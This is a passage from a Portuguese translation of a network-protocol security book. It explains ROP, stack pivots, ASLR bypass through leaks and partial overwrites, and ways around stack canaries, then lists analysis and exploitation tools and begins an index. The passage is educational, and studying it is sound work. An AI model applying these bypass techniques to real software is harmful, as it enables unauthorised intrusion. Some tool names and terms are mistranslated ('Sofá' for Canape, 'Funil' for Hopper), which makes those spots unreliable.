nosso controle. Chamar a API do sistema permite contornar o
DEP porque, do ponto de vista do processador e da plataforma,
você está executando instruções legítimas na memória
marcadas como executáveis. A Figura 10-8 mostra esse processo
com mais detalhes.

Nesta visualização bastante simples, o ROP executa uma função


fornecida pela biblioteca C (libc) para contornar a DEP. Essa
técnica, chamada especificamente de Ret2Libc, lançou as bases
do ROP como o conhecemos hoje. Você pode generalizar essa
técnica para escrever praticamente qualquer programa usando
ROP, por exemplo, para implementar um sistema Turing
completo manipulando inteiramente a pilha.

Figura 10-8: Uma ROP simples para chamar a API do sistema.

A chave para entender a Programação Orientada a Recursos


(ROP) é saber que uma sequência de instruções não precisa ser
executada exatamente como foi compilada originalmente no
código executável do programa. Isso significa que você pode
pegar pequenos trechos de código em todo o programa ou em
outros códigos executáveis, como bibliotecas, e reutilizá-los
para realizar ações que os desenvolvedores não pretendiam
executar originalmente. Essas pequenas sequências de
instruções que executam alguma função útil são chamadas de
gadgets ROP. A Figura 10-9 mostra um exemplo de ROP mais
complexo que abre um arquivo e, em seguida, grava um buffer
de dados nesse arquivo.

Figura 10-9: Uma chamada ROP mais complexa que abre o


arquivo e, em seguida, escreve nele usando alguns gadgets.
Como o valor do descritor de arquivo retornado pela função
open provavelmente não pode ser conhecido antecipadamente,
essa tarefa seria mais difícil de realizar usando a técnica mais
simples Ret2Libc.

Preencher a pilha com a sequência correta de operações para


executar como ROP é fácil se você tiver um estouro de buffer de
pilha. Mas e se você tiver apenas outro método para obter a
execução inicial do código, como um estouro de buffer de heap?
Nesse caso, você precisará de um pivô de pilha, que é um gadget
ROP que permite definir o ponteiro de pilha atual para um
valor conhecido. Por exemplo, se após o exploit EAX apontar
para um buffer de memória que você controla (talvez seja um
ponteiro para uma VTable), você pode obter controle sobre o
ponteiro de pilha e executar sua cadeia ROP usando um gadget
semelhante ao da Listagem 10-21.

xchg esp, eax # Troca os registradores EAX e ESP


ret # Retorna, executará o endereço na nova pilha

Listagem 10-21: Obtendo execução usando um dispositivo ROP

O dispositivo mostrado na Listagem 10-21 troca o valor do


registrador EAX pelo valor ESP, que indexa a pilha na memória.
Como controlamos o valor de EAX, podemos direcionar a
localização da pilha para o conjunto de operações (como na
Figura 10-9), que executará nossa ROP.

Infelizmente, usar o ROP para contornar o DEP não está isento


de problemas. Vamos analisar algumas limitações do ROP e
como lidar com elas.

Randomização do layout do espaço de endereçamento


(ASLR)

Usar ROP para contornar DEP cria alguns problemas. Primeiro,


você precisa saber a localização das funções do sistema ou dos
gadgets ROP que está tentando executar. Segundo, você precisa
saber a localização da pilha ou de outros endereços de memória
para usar como dados. No entanto, encontrar essas localizações
nem sempre foi um fator limitante.

Quando o DEP foi introduzido no Windows XP SP2, todos os


binários do sistema e o arquivo executável principal eram
mapeados em locais consistentes, pelo menos para uma
determinada revisão de atualização e idioma. (É por isso que os
módulos Metasploit anteriores exigem que você especifique um
idioma). Além disso, a operação do heap e os locais das pilhas
de threads eram quase completamente previsíveis. Portanto, no
XP SP2 era fácil contornar o DEP, pois era possível adivinhar a
localização de todos os componentes necessários para executar
a cadeia ROP.

Vulnerabilidades de divulgação de informações de memória

Com a introdução da Randomização do Layout do Espaço de


Endereçamento (ASLR), burlar o DEP tornou-se mais difícil.
Como o próprio nome sugere, o objetivo desse método de
mitigação é randomizar o layout do espaço de endereçamento
de um processo para dificultar a previsão por parte de um
atacante. Vejamos algumas maneiras pelas quais um exploit
pode burlar as proteções fornecidas pelo ASLR.

Antes do ASLR, as vulnerabilidades de divulgação de


informações eram tipicamente úteis para contornar a
segurança de um aplicativo, permitindo o acesso a informações
protegidas na memória, como senhas. Esses tipos de
vulnerabilidades encontraram um novo uso: revelar o layout do
espaço de endereçamento para neutralizar a aleatorização pelo
ASLR.

Para esse tipo de exploração, nem sempre é necessário


encontrar uma vulnerabilidade específica de divulgação de
informações de memória; em alguns casos, é possível criar uma
vulnerabilidade de divulgação de informações a partir de uma
vulnerabilidade de corrupção de memória. Vamos usar um
exemplo de vulnerabilidade de corrupção de memória no heap.
Podemos sobrescrever de forma confiável um número
arbitrário de bytes após uma alocação no heap, o que, por sua
vez, pode ser usado para divulgar o conteúdo da memória por
meio de um estouro de heap, como mostrado a seguir: uma
estrutura comum que pode ser alocada no heap é um buffer
contendo uma string com um prefixo de comprimento e,
quando o buffer de string é alocado, um número adicional de
bytes é colocado no início para acomodar um campo de
comprimento. Os dados da string são então armazenados após o
comprimento, como mostrado na Figura 10-10.

Figura 10-10: Convertendo corrupção de memória em


divulgação de informações

No topo está o padrão original de alocações de memória heap


➊. Se a alocação vulnerável for colocada antes do buffer de
string na memória, teremos a oportunidade de corromper o
buffer de string. Antes que qualquer corrupção ocorra,
podemos ler apenas os 5 bytes válidos do buffer de string.

Na parte inferior, provocamos um estouro na alocação


vulnerável, o suficiente para modificar apenas o campo de
comprimento da string ➋. Podemos definir o comprimento para
um valor arbitrário, neste caso, 100 bytes. Agora, ao lermos a
string de volta, receberemos 100 bytes em vez dos 5 bytes
alocados originalmente. Como a alocação do buffer da string
não é tão grande, dados de outras alocações seriam retornados,
o que poderia incluir endereços de memória sensíveis, como
ponteiros para a VTable e ponteiros para alocação no heap. Essa
divulgação fornece informações suficientes para burlar o ASLR.

Explorando falhas de implementação do ASLR

A implementação do ASLR nunca é perfeita devido às


limitações de desempenho e memória disponível. Essas
deficiências levam a várias falhas específicas da
implementação, que você também pode usar para revelar os
endereços de memória aleatorizados.

Na maioria dos casos, a localização de um executável no ASLR


nem sempre é aleatória entre dois processos distintos, o que
resulta em uma vulnerabilidade que pode revelar a localização
da memória de uma conexão para um aplicativo em rede,
mesmo que isso possa causar a falha desse processo específico.
O endereço de memória poderia então ser usado em uma
exploração subsequente.

Em sistemas do tipo Unix, como o Linux, essa falta de


aleatoriedade só deve ocorrer se o processo explorado for um
fork de um processo mestre existente. Quando um processo é
criado como um fork, o sistema operacional cria uma cópia
idêntica do processo original, incluindo todo o código
executável carregado. É bastante comum que servidores, como
o Apache, usem um modelo de fork para atender novas
conexões. Um processo mestre fica escutando em um socket do
servidor aguardando novas conexões e, quando uma é
estabelecida, uma nova cópia do processo atual é criada como
um fork e o socket conectado é passado para atender a conexão.

Em sistemas Windows, a falha se manifesta de maneira


diferente. O Windows não oferece suporte nativo a processos
bifurcados (fork), embora, uma vez que o endereço de
carregamento de um arquivo executável específico tenha sido
aleatorizado, ele sempre será carregado nesse mesmo endereço
até que o sistema seja reiniciado. Se isso não fosse feito, o
sistema operacional não conseguiria compartilhar memória
somente leitura entre processos, resultando em maior consumo
de memória.

Do ponto de vista da segurança, o resultado é que, se você


conseguir vazar a localização de um executável uma única vez,
os endereços de memória permanecerão os mesmos até que o
sistema seja reiniciado. Você pode usar isso a seu favor, pois
pode vazar a localização a partir de uma única execução
(mesmo que isso cause a falha do processo) e, em seguida, usar
esse endereço para a exploração final.

Ignorando o ASLR usando sobrescritas parciais

Outra forma de contornar o ASLR é usar sobrescritas parciais.


Como a memória tende a ser dividida em páginas distintas,
como 4096 bytes, os sistemas operacionais restringem a forma
como a memória com layout aleatório e o código executável
podem ser carregados. Por exemplo, o Windows aloca memória
em limites de 64 KB. Isso leva a uma vulnerabilidade
interessante, pois os bits menos significativos de ponteiros de
memória aleatórios podem ser previsíveis mesmo que os bits
mais significativos sejam totalmente aleatórios.

A falta de aleatoriedade nos bits menos significativos pode não


parecer um grande problema, já que você ainda precisaria
adivinhar os bits mais significativos do endereço se estivesse
sobrescrevendo um ponteiro na memória. Na verdade, isso
permite sobrescrever seletivamente parte do valor do ponteiro
ao executar em uma arquitetura little-endian, devido à forma
como os valores dos ponteiros são armazenados na memória.

A maioria das arquiteturas de processadores em uso


atualmente são little-endian (discuti a ordem dos bits com mais
detalhes em “Endian Binário”, na página 41). O detalhe mais
importante a saber sobre little-endian para sobrescritas
parciais é que os bits menos significativos de um valor são
armazenados em um endereço mais baixo. Corrupções de
memória, como estouros de pilha ou heap, normalmente
escrevem de um endereço baixo para um endereço alto.
Portanto, se você puder controlar o comprimento da
sobrescrita, será possível sobrescrever seletivamente apenas os
bits menos significativos previsíveis, mas não os bits mais
significativos aleatórios. Você pode então usar a sobrescrita
parcial para converter um ponteiro para endereçar outro local
de memória, como um gadget ROP. A Figura 10-11 mostra como
alterar um ponteiro de memória usando uma sobrescrita
parcial.
Figura 10-11: Um exemplo de sobrescrita curta

Começamos com o endereço 0x07060504. Sabemos que, devido


ao ASLR, os 16 bits mais significativos (a parte 0x0706) são
aleatórios, mas os 16 bits menos significativos não são. Se
soubermos a qual memória o ponteiro está se referindo,
podemos alterar seletivamente os bits menos significativos e
especificar com precisão um local para controlar. Neste
exemplo, sobrescrevemos os 16 bits menos significativos para
criar um novo endereço de 0x0706BBAA.

Detectando estouros de pilha com canários de memória

Os canários de memória, ou cookies, são usados para prevenir a


exploração de vulnerabilidades de corrupção de memória,
detectando a corrupção e causando o encerramento imediato
da aplicação. Eles são mais comumente encontrados em
contextos de prevenção de corrupção de memória na pilha, mas
também são usados para proteger outros tipos de estruturas de
dados, como cabeçalhos de heap ou ponteiros de tabelas
virtuais.

Um canário de memória é um número aleatório gerado por um


aplicativo durante a inicialização. Esse número aleatório é
armazenado em um endereço de memória global, de forma que
possa ser acessado por todo o código do aplicativo. Ele é
inserido na pilha ao entrar em uma função. Em seguida, ao sair
da função, o valor aleatório é removido da pilha e comparado
ao valor global. Se o valor global não corresponder ao valor
removido da pilha, o aplicativo assume que a memória da pilha
foi corrompida e encerra o processo o mais rápido possível. A
Figura 10-12 mostra como a inserção desse número aleatório
detecta perigos, como um canário em uma mina de carvão,
ajudando a impedir que o invasor obtenha acesso ao endereço
de retorno.
Figura 10-12: Um estouro de pilha com um indicador de pilha
(stack canary).

Colocar o canário abaixo do endereço de retorno na pilha


garante que qualquer corrupção por estouro de buffer que
modifique o endereço de retorno também modifique o canário.
Enquanto o valor do canário for difícil de adivinhar, o atacante
não conseguirá obter controle sobre o endereço de retorno.
Antes de a função retornar, ela chama um código para verificar
se o canário na pilha corresponde ao esperado. Se houver uma
discrepância, o programa trava imediatamente.

Contornando os Canários através da Corrupção de Variáveis


Locais
Normalmente, os canários de pilha protegem apenas o
endereço de retorno da função em execução na pilha. No
entanto, existem outros elementos na pilha que podem ser
explorados além do buffer que está sofrendo estouro. Podem
existir ponteiros para funções, ponteiros para objetos de classe
que possuem uma tabela de funções virtuais ou, em alguns
casos, uma variável inteira que pode ser sobrescrita, o que pode
ser suficiente para explorar o estouro de pilha.

Se o estouro do buffer de pilha tiver um tamanho controlado,


pode ser possível sobrescrever essas variáveis sem corromper o
canary da pilha. Mesmo que o canary seja corrompido, isso
pode não importar, desde que a variável seja usada antes da
verificação do canary. A Figura 10-13 mostra como os atacantes
podem corromper variáveis locais sem afetar o canary.

Neste exemplo, temos uma função com um ponteiro de função


na pilha. Devido à forma como a memória da pilha está
organizada, o buffer que sofrerá estouro está em um endereço
inferior ao do ponteiro de função f, que também está localizado
na pilha ➊.

Quando o estouro de buffer é executado, ele corrompe toda a


memória acima do buffer, incluindo o endereço de retorno e o
canary da pilha ➋. No entanto, antes que o código de
verificação do canary seja executado (o que encerraria o
processo), o ponteiro de função f é usado. Isso significa que
ainda obtemos execução de código ➌ ao chamar f, e a corrupção
nunca é detectada.

Figura 10-13: Corrompendo variáveis locais sem acionar o


alerta de pilha

Existem muitas maneiras pelas quais os compiladores


modernos podem se proteger contra a corrupção de variáveis
locais, incluindo a reordenação de variáveis para que os buffers
estejam sempre acima de qualquer variável individual, que,
quando corrompida, poderia ser usada para explorar a
vulnerabilidade.

Contornando os Canários com Subfluxo do Buffer de Pilha


Por razões de desempenho, nem todas as funções colocam um
canário na pilha. Se a função não manipula um buffer de
memória na pilha, o compilador pode considerá-la segura e não
emitir as instruções necessárias para adicionar o canário. Na
maioria dos casos, essa é a conduta correta. No entanto,
algumas vulnerabilidades causam estouro de buffer na pilha de
maneiras incomuns: por exemplo, a vulnerabilidade pode
causar um underflow em vez de um overflow, corrompendo
dados em níveis mais baixos da pilha. A Figura 10-14 mostra um
exemplo desse tipo de vulnerabilidade.

A Figura 10-14 ilustra três etapas. Primeiro, a função


DoSomething() é chamada ➊. Essa função configura um buffer
na pilha. O compilador determina que esse buffer precisa ser
protegido, então ele gera um canário de pilha para impedir que
um estouro sobrescreva o endereço de retorno de
DoSomething(). Segundo, a função chama o método Process(),
passando um ponteiro para o buffer que configurou. É aqui que
ocorre a corrupção de memória. No entanto, em vez de estourar
o buffer, Process() escreve em um valor abaixo, por exemplo,
referenciando p[-1] ➋. Isso resulta na corrupção do endereço de
retorno do frame de pilha do método Process() que possui
proteção de canário de pilha. Terceiro, Process() retorna para o
endereço de retorno corrompido, resultando na execução de
shellcode ➌.
Figura 10-14: Subfluxo do buffer de pilha

Palavras finais

Encontrar e explorar vulnerabilidades em uma aplicação de


rede pode ser difícil, mas este capítulo apresentou algumas
técnicas que você pode usar. Descrevi como triar
vulnerabilidades para determinar a causa raiz usando um
depurador; com o conhecimento da causa raiz, você pode
prosseguir com a exploração da vulnerabilidade. Também
forneci exemplos de como escrever um código shell simples e,
em seguida, desenvolver um payload usando ROP para
contornar uma mitigação de exploração comum, o DEP.
Finalmente, descrevi algumas outras mitigações de exploração
comuns em sistemas operacionais modernos, como ASLR e
canários de memória, e as técnicas para contornar essas
mitigações.

Este é o capítulo final deste livro. A esta altura, você já deve


estar munido do conhecimento necessário para capturar,
analisar, realizar engenharia reversa e explorar aplicações em
rede. A melhor maneira de aprimorar suas habilidades é
encontrar o máximo possível de aplicações e protocolos de
rede. Com a experiência, você identificará facilmente estruturas
comuns e padrões de comportamento de protocolos onde as
vulnerabilidades de segurança são tipicamente encontradas.
KIT DE FERRAMENTAS PARA ANÁLISE DE
PROTOCOLOS DE REDE

Ao longo deste livro, demonstrei diversas ferramentas e


bibliotecas que você pode usar na análise de protocolos de rede,
mas não abordei muitas das que utilizo regularmente. Este
apêndice descreve as ferramentas que considero úteis durante
análises, investigações e exploração de vulnerabilidades. Cada
ferramenta é categorizada com base em seu uso principal,
embora algumas ferramentas se encaixem em mais de uma
categoria.

Ferramentas de captura e análise de protocolo de


rede passivo

Conforme discutido no Capítulo 2, a captura passiva de rede


refere-se à escuta e captura de pacotes sem interromper o fluxo
de tráfego.

Analisador de mensagens da Microsoft

Site: [Link]

Licença comercial; gratuita

Plataforma Windows
O Microsoft Message Analyzer é uma ferramenta extensível
para analisar o tráfego de rede no Windows. A ferramenta
inclui diversos analisadores para diferentes protocolos e pode
ser estendida com uma linguagem de programação
personalizada. Muitas de suas funcionalidades são semelhantes
às do Wireshark, com a diferença de que o Message Analyzer
adicionou suporte a eventos do Windows.
TCPDump e LibPCAP

Site: [Link] [Link] para


implementação no Windows (WinPcap/WinDump)

Licença BSD

Plataformas: BSD, Linux, macOS, Solaris, Windows

O utilitário TCPDump, instalado em muitos sistemas


operacionais, é o pioneiro das ferramentas de captura de
pacotes de rede. Você pode usá-lo para análises básicas de
dados de rede. Sua biblioteca de desenvolvimento LibPCAP
permite que você escreva suas próprias ferramentas para
capturar tráfego e manipular arquivos PCAP.
Wireshark

Site: [Link]

Licença GPLv2

Plataformas: BSD, Linux, macOS, Solaris, Windows

O Wireshark é a ferramenta mais popular para captura e


análise passiva de pacotes. Sua interface gráfica e ampla
biblioteca de módulos de análise de protocolos o tornam mais
robusto e fácil de usar do que o TCPDump. O Wireshark suporta
praticamente todos os formatos de arquivo de captura
conhecidos, portanto, mesmo que você capture o tráfego
usando outra ferramenta, poderá usar o Wireshark para
realizar a análise. Ele inclui até mesmo suporte para análise de
protocolos não tradicionais, como comunicação USB ou serial. A
maioria das distribuições do Wireshark também inclui o tshark,
um substituto para o TCPDump que possui a maioria dos
recursos oferecidos na interface gráfica principal do Wireshark,
como os analisadores de protocolo. Ele permite visualizar uma
gama mais ampla de protocolos na linha de comando.
Captura e análise ativa de redes

Para modificar, analisar e explorar o tráfego de rede, conforme


discutido nos Capítulos 2 e 8, você precisará usar técnicas de
captura ativa de rede. Eu uso as seguintes ferramentas
diariamente quando estou analisando e testando protocolos de
rede.
Sofá

Site: [Link]

Licença GPLv3

Plataformas Windows (com .NET 4)

Desenvolvi o Canape como uma ferramenta genérica para teste,


análise e exploração de ataques man-in-the-middle em
protocolos de rede, com uma interface gráfica intuitiva. O
Canape contém ferramentas que permitem aos usuários
desenvolver analisadores sintáticos de protocolos, extensões em
C# e IronPython, e diferentes tipos de proxies man-in-the-
middle. É de código aberto desde a versão 1.4, permitindo que
os usuários contribuam para o seu desenvolvimento.
Sofá Core

Site: [Link]

Licença GPLv3

Plataformas .NET Core 1.1 e 2.0 (Linux, macOS, Windows)


As bibliotecas Canape Core, uma versão simplificada do código-
fonte original do Canape, foram projetadas para uso na linha de
comando. Nos exemplos ao longo deste livro, utilizei o Canape
Core como biblioteca principal. Ele possui praticamente o
mesmo poder da ferramenta Canape original, mas pode ser
usado em qualquer sistema operacional compatível com o .NET
Core, e não apenas no Windows.

Mallory

Site: [Link]

Licença: Python Software Foundation License v2; GPLv3 se usar


a interface gráfica.

Plataforma Linux

Mallory é uma ferramenta extensível de ataque man-in-the-


middle que atua como um gateway de rede, tornando o
processo de captura, análise e modificação do tráfego
transparente para a aplicação em teste. Você pode configurar o
Mallory usando bibliotecas Python, bem como um depurador
com interface gráfica. Será necessário configurar uma máquina
virtual Linux separada para utilizá-lo. Algumas instruções úteis
estão disponíveis em
[Link]
nimal_Guide/.

Conectividade de rede e testes de protocolo

Se você estiver tentando testar um protocolo ou dispositivo de


rede desconhecido, os testes básicos de rede podem ser muito
úteis. As ferramentas listadas nesta seção ajudam você a
descobrir e se conectar a servidores de rede expostos no
dispositivo de destino.

Hping

Site: [Link]

Licença GPLv2

Plataformas: BSD, Linux, macOS, Windows

A ferramenta Hping é semelhante ao utilitário ping tradicional,


mas oferece suporte a mais do que apenas solicitações de eco
ICMP. Você também pode usá-la para criar pacotes de rede
personalizados, enviá-los a um destino e exibir quaisquer
respostas. Esta é uma ferramenta muito útil para se ter à
disposição.

Netcat
Encontre o original em [Link] e a versão
GNU em [Link]

Licença GPLv2, domínio público

Plataformas: BSD, Linux, macOS, Windows

O Netcat é uma ferramenta de linha de comando que se conecta


a uma porta TCP ou UDP qualquer e permite enviar e receber
dados. Ele suporta a criação de sockets de envio ou de escuta e é
extremamente simples para testes de rede. O Netcat possui
muitas variantes que, infelizmente, utilizam opções de linha de
comando diferentes. Mas todas fazem praticamente a mesma
coisa.

Nmap

Site: [Link]

Licença GPLv2

Plataformas: BSD, Linux, macOS, Windows

Se você precisa analisar a interface de rede aberta em um


sistema remoto, nada supera o Nmap. Ele oferece suporte a
diversas maneiras de obter respostas de servidores de sockets
TCP e UDP, além de diferentes scripts de análise. É uma
ferramenta indispensável para testar dispositivos
desconhecidos.

Teste de aplicações web

Embora este livro não se concentre muito em testes de


aplicações web, essa é uma parte importante da análise de
protocolos de rede. Um dos protocolos mais utilizados na
internet, o HTTP, é inclusive usado como proxy para outros
protocolos, como DCE/RPC, para contornar firewalls. Aqui estão
algumas das ferramentas que eu uso e recomendo.

Suíte Burp

Site: [Link]

Licença comercial; versão gratuita limitada disponível.

Plataformas suportadas: Plataformas Java (Linux, macOS,


Solaris, Windows)

O Burp Suite é o padrão ouro das ferramentas comerciais para


teste de aplicações web. Escrito em Java para máxima
compatibilidade multiplataforma, ele oferece todos os recursos
necessários para testar aplicações web, incluindo proxies
integrados, suporte à descriptografia SSL e fácil extensibilidade.
A versão gratuita possui menos recursos que a versão
comercial, portanto, considere adquirir a versão comercial se
você pretende utilizá-la com frequência.
Proxy de Ataque Zed (ZAP)

Site: [Link]
Licença Apache v2

Plataformas suportadas: Plataformas Java (Linux, macOS,


Solaris, Windows)

Se o preço do Burp Suite estiver fora do seu alcance, o ZAP é


uma ótima opção gratuita. Desenvolvido pela OWASP, o ZAP é
escrito em Java, pode ser automatizado por scripts e é
facilmente extensível por ser de código aberto.

Proxy de Mitm

Site: [Link]

Licença MIT

Plataformas: Qualquer plataforma compatível com Python,


embora o programa seja um tanto limitado no Windows.

O Mitmproxy é uma ferramenta de teste de aplicações web


baseada em linha de comando, escrita em Python. Entre seus
diversos recursos padrão, estão a interceptação, modificação e
reprodução de requisições. Você também pode incluí-lo como
uma biblioteca separada em suas próprias aplicações.
Estruturas de Fuzzing, Geração de Pacotes e
Exploração de Vulnerabilidades

Ao desenvolver exploits e encontrar novas vulnerabilidades,


você geralmente precisará implementar muitas funcionalidades
comuns. As ferramentas a seguir fornecem uma estrutura que
permite reduzir a quantidade de código padrão e
funcionalidades comuns que você precisa implementar.

American Fuzzy Lop (AFL)


Site: [Link]

Licença Apache v2

Plataformas Linux; algum suporte para outras plataformas do


tipo Unix.

Não se deixe enganar pelo nome fofo. O American Fuzzy Lop


(AFL) pode ter o nome de uma raça de coelho, mas é uma
ferramenta incrível para testes de fuzzing, especialmente em
aplicações que podem ser recompiladas para incluir
instrumentação específica. Ele tem uma capacidade quase
mágica de gerar entradas válidas para um programa a partir
dos menores exemplos.
Kali Linux

Site: [Link]

Licenças: Uma variedade de licenças de código aberto e não


livres, dependendo dos pacotes utilizados.

Plataformas ARM, Intel x86 e x64


O Kali é uma distribuição Linux projetada para testes de
penetração. Ele vem pré-instalado com Nmap, Wireshark, Burp
Suite e várias outras ferramentas listadas neste apêndice. O Kali
é indispensável para testar e explorar vulnerabilidades em
protocolos de rede, e você pode instalá-lo nativamente ou
executá-lo como uma distribuição live.

Metasploit Framework

Site: [Link]

Licença BSD, com algumas partes sob licenças diferentes.

Plataformas: BSD, Linux, macOS, Windows

O Metasploit é praticamente a única opção disponível quando


você precisa de uma estrutura genérica para exploração de
vulnerabilidades, pelo menos se você não quiser pagar por
uma. O Metasploit é de código aberto, recebe atualizações
constantes com novas vulnerabilidades e funciona em quase
todas as plataformas, o que o torna útil para testar novos
dispositivos. O Metasploit oferece diversas bibliotecas
integradas para realizar tarefas típicas de exploração, como
gerar e codificar shellcode, abrir shells reversos e obter
privilégios elevados, permitindo que você se concentre no
desenvolvimento do seu exploit sem ter que lidar com vários
detalhes de implementação.

Scapy

Site: [Link]

Licença GPLv2

Plataformas: Qualquer plataforma compatível com Python,


embora funcione melhor em plataformas do tipo Unix.

Scapy é uma biblioteca para Python que permite gerar e


manipular pacotes de rede. Com ela, você pode criar
praticamente qualquer tipo de pacote, desde pacotes Ethernet
até pacotes TCP ou HTTP. É possível reproduzir pacotes para
testar o comportamento de um servidor de rede ao recebê-los.
Essa funcionalidade torna a biblioteca uma ferramenta muito
flexível para testes, análises e fuzzing de protocolos de rede.

Sulley

Site: [Link]

Licença GPLv2

Plataformas: Qualquer plataforma compatível com Python.


Sulley é uma biblioteca e framework de fuzzing baseado em
Python, projetado para simplificar a representação,
transmissão e instrumentação de dados. Você pode usá-lo para
realizar fuzzing em qualquer coisa, desde formatos de arquivo
até protocolos de rede.

Falsificação e redirecionamento de rede

Para capturar tráfego de rede, às vezes é necessário


redirecioná-lo para uma máquina que esteja escutando. Esta
seção lista algumas ferramentas que oferecem maneiras de
implementar falsificação e redirecionamento de rede sem a
necessidade de muita configuração.

DNSMasq

Site: [Link]

Licença GPLv2

Plataforma Linux

A ferramenta DNSMasq foi projetada para configurar


rapidamente serviços básicos de rede, como DNS e DHCP, para
que você não precise se preocupar com configurações
complexas. Embora o DNSMasq não seja especificamente
projetado para falsificação de rede, você pode reutilizá-lo para
redirecionar o tráfego de rede de um dispositivo para captura,
análise e exploração.

Ettercap

Site: [Link]

Licença GPLv2

Plataformas Linux, macOS

O Ettercap (discutido no Capítulo 4) é uma ferramenta de


ataque "homem no meio" projetada para monitorar o tráfego de
rede entre dois dispositivos. Ele permite falsificar endereços
DHCP ou ARP para redirecionar o tráfego de uma rede.

Engenharia Reversa Executável

Analisar o código-fonte de um aplicativo geralmente é a


maneira mais fácil de determinar como um protocolo de rede
funciona. No entanto, quando você não tem acesso ao código-
fonte, ou quando o protocolo é complexo ou proprietário, a
análise baseada no tráfego de rede torna-se difícil. É aí que
entram as ferramentas de engenharia reversa. Usando essas
ferramentas, você pode desmontar e, às vezes, descompilar um
aplicativo em um formato que possa ser inspecionado. Esta
seção lista diversas ferramentas de engenharia reversa que eu
utilizo. (Consulte a discussão no Capítulo 6 para obter mais
detalhes, exemplos e explicações.)

Descompilador Java (JD)

Site: [Link]

Licença GPLv3

Plataformas suportadas: Plataformas Java (Linux, macOS,


Solaris, Windows)

O Java utiliza um formato de bytecode com metadados ricos, o


que facilita bastante a engenharia reversa do bytecode Java
para o código-fonte Java usando uma ferramenta como o Java
Decompiler. O Java Decompiler está disponível com uma
interface gráfica independente, bem como com plug-ins para o
ambiente de desenvolvimento integrado Eclipse.
IDA Pro

Site: [Link]

Licença comercial; versão gratuita limitada disponível.

Plataformas: Linux, macOS, Windows


O IDA Pro é a ferramenta mais conhecida para engenharia
reversa de executáveis. Ele desmonta e descompila diversas
arquiteturas de processos e oferece um ambiente interativo
para investigar e analisar a desmontagem. Combinado com o
suporte a scripts e plug-ins personalizados, o IDA Pro é a
melhor ferramenta para engenharia reversa de executáveis.
Embora a versão profissional completa seja bastante cara,
existe uma versão gratuita para uso não comercial; no entanto,
ela é restrita a binários x86 de 32 bits e possui outras limitações.
Funil

Site: [Link]
Licença Comercial; uma versão de avaliação gratuita limitada
também está disponível.

Plataformas Linux, macOS

O Hopper é um desassemblador e descompilador básico muito


competente, capaz de igualar muitas das funcionalidades do
IDA Pro. Embora, até o momento desta publicação, o Hopper
não suporte a mesma gama de arquiteturas de processador que
o IDA Pro, ele deve ser mais do que suficiente na maioria das
situações, devido ao seu suporte a processadores x86, x64 e
ARM. A versão comercial completa é consideravelmente mais
barata que o IDA Pro, então definitivamente vale a pena
conferir.

ILSpy

Site: [Link]

Licença MIT

Plataforma Windows (com .NET4)

O ILSpy, com seu ambiente semelhante ao Visual Studio, é a


ferramenta de descompilação .NET gratuita com melhor
suporte.
.NET Reflector

Site: [Link]
development/reflector/

Licença Comercial

Plataforma Windows
O Reflector é o descompilador .NET original. Ele pega um
executável ou biblioteca .NET e o converte em código-fonte C#
ou Visual Basic. O Reflector é muito eficaz na geração de código-
fonte legível e permite uma navegação simples pelo executável.
É uma ótima ferramenta para se ter à disposição.
ÍNDICE

Símbolos e Números

\ (reação negativa), 47, 220

/ (barra), 81, 220

- (sinal de menos), 55

+ (sinal de mais), 55

Inteiro de 7 bits, 39–40

Inteiro de 8 bits, 38–39

Sistema de 32 bits, 263

Valor de 32 bits, 40–41

Sistema de 64 bits, 263

Valor de 64 bits, 40–41

CPU 8086, 114

UM
Cifra de fluxo A5/1, 159

Cifra de fluxo A5/2, 159

ABI (interface binária de aplicação), 123–124, 259–260

Notação de Sintaxe Abstrata 1 (ASN.1), 53–54

aceitar chamada do sistema, 123

reconhecimento (pacote DHCP), 72

sinalizador de reconhecimento (ACK), 41

captura ativa de rede, 20, 280–282. Veja também captura


passiva de rede.

Função add(), 124

Instrução ADICIONAL, 115

Método add_longs(), 198

método add_numbers(), 197

Protocolo de Resolução de Endereços (ARP), 6–7, 74–77

endereços, 4
32 bits, 5

destino, 5

MAC, 6–8, 74–77

fonte, 5

endereço desinfetante, 243–244

aleatorização do layout do espaço de endereços (ASLR)

contorno com sobrescritas parciais, 272–273

explorando falhas de implementação em, 271–272

vulnerabilidades de divulgação de informações de memória,


270–271

Adleman, Leonard, 160

Padrão de Criptografia Avançada (AES), 133, 150, 152

AJAX (JavaScript assíncrono e XML), 57

algoritmos

complexidade de, 224–225


hashing criptográfico, 164–165

Troca de chaves Diffie-Hellman, 162-164

hash, 165

agendamento de chaves, 151

resumo da mensagem (MD), 164

MD4, 165

MD5, 133, 165–167

RSA, 149, 160–162, 165

algoritmo de hash seguro (SHA), 164, 202

SHA-1, 133, 165–166

SHA-2, 165

SHA-3, 168

assinatura, 146

assimétrico, 165

algoritmos de hash criptográficos, 164–165


códigos de autenticação de mensagens, 166–168

simétrico, 166

AMD, 114

American Fuzzy Lop, 285–286

E instrução, 115

antivírus, 23

aplicação, 3

analisadores de conteúdo, 4

comunicação em rede, 4

Captura passiva de tráfego de rede, 11

interface do usuário, 4

interface binária de aplicação (ABI), 123–124, 259–260

camada de aplicação, 3

Utilitário de linha de comando apt, 31

escrita arbitrária da memória, 253–254


Arquitetura ARM, 42, 118

Envenenamento por ARP, 74–77

ASCII

codificação de caracteres, 42

páginas de código, 44

caracteres de controle, 43

caracteres imprimíveis, 43

conversões de codificação de texto, 229–230

ASLR. Veja randomização do layout do espaço de endereços


(ASLR).

ASN.1 (Notação de Sintaxe Abstrata 1), 53–54

montador, 113, 258

assembleias, 138

linguagem assembly, 113

carregamento de montagem, 190–193


Criptografia de chave assimétrica, 159–164. Veja também
criptografia de chave simétrica.

chave privada, 160

chave pública, 160

Algoritmo RSA, 160–162

Acolchoamento RSA, 162

funções de alçapão, 160

algoritmos de assinatura assimétrica, 165

JavaScript assíncrono e XML (AJAX), 57

Sintaxe da AT&T, 116

atributos (XML), 58

bypass de autenticação, 209

bypass de autorização, 209–210

código automatizado, identificação, 133–134

B
barra invertida (\), 47, 220

biblioteca de classes base, 141

Base64, 60–61

Filtro de pacotes Berkeley (BPF), 180

Distribuição de Sockets Berkeley (BSD), 15

Soquetes Berkeley modelo, 15, 121

big endian, 42, 52, 122

Notação Big-O, 225

conversões binárias, 90–92

protocolos binários. Veja também protocolos

endian binário, 41–42

flags de bits, 41

Booleanos, 41

formatos, 53–54

dados numéricos, 38–41


cordas, 42–46

dados de comprimento binário variável, 47–49

chamada de sistema bind, 15

flags de bits, 41

formato de bits, 38

Cifras de bloco. Veja também cifras de fluxo.

AES, 150, 152

comum, 152

DES, 150–151

vetor de inicialização, 154

modos, 152–155

